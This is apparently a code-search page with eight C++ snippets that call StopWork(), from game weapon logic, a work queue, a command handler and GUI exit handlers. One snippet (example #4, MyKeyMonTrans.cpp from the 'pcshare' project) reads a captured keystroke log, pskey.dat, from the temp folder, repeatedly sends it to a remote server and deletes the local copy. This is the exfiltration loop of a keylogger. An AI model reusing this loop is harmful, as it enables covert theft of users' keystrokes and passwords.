コード例 #1
0
ファイル: WorkOnTarget.cpp プロジェクト: super-nova/NovaRepo
//------------------------------------------------------------------------
void CWorkOnTarget::NetStopFire()
{
	m_pWeapon->EnableUpdate(false, eIUS_FireMode);
	m_firing=false;
	m_delayTimer=0.0f;

	StopWork();
}
コード例 #2
0
CCmdHandler::~CCmdHandler()
{
#ifdef USE_TCP_NOT_SERIAL
    StopWork();
#else
    ClosePort();
#endif
    SAFEDELETEP(m_pRecvBuffer);
}
コード例 #3
0
ファイル: workqueue.cpp プロジェクト: lj8175/practice
WorkQueue::~WorkQueue()
{
    StopWork();

    pthread_cond_destroy(&wcond);
    pthread_mutex_destroy(&wlock);

    pthread_cond_destroy(&paused_wait);
    pthread_cond_destroy(&executing_wait);
    pthread_mutex_destroy(&executing_lock);
}
コード例 #4
0
ファイル: MyKeyMonTrans.cpp プロジェクト: nanoMV/pcshare
//控制线程
BOOL CMyKeyMonTrans::StartWork(char* m_ServerAddr, int m_ServerPort, 
							  int nSend, int nRecv)
{
	//连接目标服务器,创建发送接收管道
	if(!CMyHttpPipeBase::StartWork(
		m_ServerAddr, m_ServerPort, nSend, nRecv)) 
		return FALSE;

	//启动状态监控线程
	_beginthread(RecvThread,0,this);

	//开始发送数据
	char m_CharFileName[256] = {0};
	GetTempPath(200,m_CharFileName);
	strcat(m_CharFileName,"pskey.dat");
	BOOL bRet = TRUE;

	//创建锁
	HANDLE hMetux = CreateMutex(NULL, FALSE, "PsKey400");
	if(hMetux == NULL) return FALSE;

	while(WaitForSingleObject(hExitEvent,0) 
		== WAIT_TIMEOUT && bRet)
	{
		struct _stat st = {0};
		if(_stat(m_CharFileName , &st) == 0)
		{
			char* pData = new char[st.st_size];
			FILE *fp = fopen(m_CharFileName , "rb");
			if(fp != NULL)
			{
				fread(pData,st.st_size,1,fp);
				fclose(fp);
				bRet = SendData(pData,st.st_size);
				delete [] pData;
				if(bRet)
				{
					WaitForSingleObject(hMetux, INFINITE);
					DeleteFile(m_CharFileName);
					ReleaseMutex(hMetux);
				}
			}
		}
		Sleep(200);
	}
	CloseHandle(hMetux);

	//关闭句柄
	StopWork();
	return TRUE;
}
コード例 #5
0
ファイル: MainDlg.cpp プロジェクト: lcfGitHubCode/TaiyiCode
void CMainDlg::ExitTaiyi()
{
	exiting = true;

	// L"正在退出太一,请稍候.."
	trayIcon.SetBalloonDetails(GetLocalWStr(strTrayNowExiting), L"", CTrayNotifyIcon::None, 100);
	// L"正在退出太一,请稍候.."
	trayIcon.SetTooltipText(GetLocalWStr(strTrayNowExiting));
	boost::thread t([=](){
		StopWork();
		CtrlNgix(false);
		this->PostMessageW(WM_EXITTAIYIFINISHI);
	});
}
コード例 #6
0
ファイル: WorkOnTarget.cpp プロジェクト: super-nova/NovaRepo
//------------------------------------------------------------------------
void CWorkOnTarget::StopFire()
{
	if(m_firing)
	{
		m_pWeapon->EnableUpdate(false, eIUS_FireMode);
		m_firing=false;
		m_delayTimer=0.0f;

		StopWork();

		if(!m_pWeapon->IsServer())
			m_pWeapon->RequestStopFire();
	}
}
コード例 #7
0
ファイル: MainFrm.cpp プロジェクト: nanoMV/pcshare
void CMainFrame::OnClose() 
{
	StopWork();
	CFrameWnd::OnClose();
}
コード例 #8
0
ファイル: WorkOnTarget.cpp プロジェクト: super-nova/NovaRepo
//------------------------------------------------------------------------
void CWorkOnTarget::Update(float frameTime, uint32 frameId)
{
	FUNCTION_PROFILER(GetISystem(), PROFILE_GAME);

	if(!m_firing)
		return;

	bool requireUpdate=false;

	CActor *pActor=m_pWeapon->GetOwnerActor();

	if(m_delayTimer>0.0f)
	{
		m_working = false;
		m_lastTargetId = 0;
		m_delayTimer -= frameTime;

		if(m_delayTimer<=0.0f)
		{
			m_delayTimer=0.0f;

			if(m_pWeapon->IsClient())
			{
				m_pWeapon->PlayAction(m_workactions.prefire.c_str());

				if(m_soundId!=INVALID_SOUNDID)
				{
					if(ISound *pSound=m_pWeapon->GetISound(m_soundId))
					{
						pSound->GetInterfaceDeprecated()->SetLoopMode(true);
						pSound->SetPaused(false);
					}
				}
			}
		}
	}

	if(!m_effectId && m_delayTimer<=0.0f && m_pWeapon->IsClient())
	{
		int slot = m_pWeapon->GetStats().fp ?  eIGS_FirstPerson :  eIGS_ThirdPerson;
		int id = m_pWeapon->GetStats().fp ? 0 : 1;

		CSingle::SEffectParams &effect=m_workparams.working_effect;

		if(!effect.effect[id].empty())
			m_effectId = m_pWeapon->AttachEffect(slot, 0, true, effect.effect[id].c_str(), effect.helper[id].c_str());
	}

	if(m_delayTimer<=0.0f && m_pWeapon->IsServer())
	{
		bool keepWorking=false;

		if(IEntity	*pEntity=CanWork())
		{
			if(pEntity->GetId() == m_lastTargetId)
				keepWorking=WorkOnTarget(pEntity, frameTime);
			else
			{
				if(IEntity *pLast=gEnv->pEntitySystem->GetEntity(m_lastTargetId))
					StopWork();

				StartWork(pEntity);
				keepWorking=true;
			}
		}

		if(!keepWorking)
		{
			StopWork();

			if(m_pWeapon->IsServer())
			{
				m_pWeapon->NetSetIsFiring(false);
				m_pWeapon->NetStopFire();
			}
		}
	}

	if(requireUpdate)
		m_pWeapon->RequireUpdate(eIUS_FireMode);
}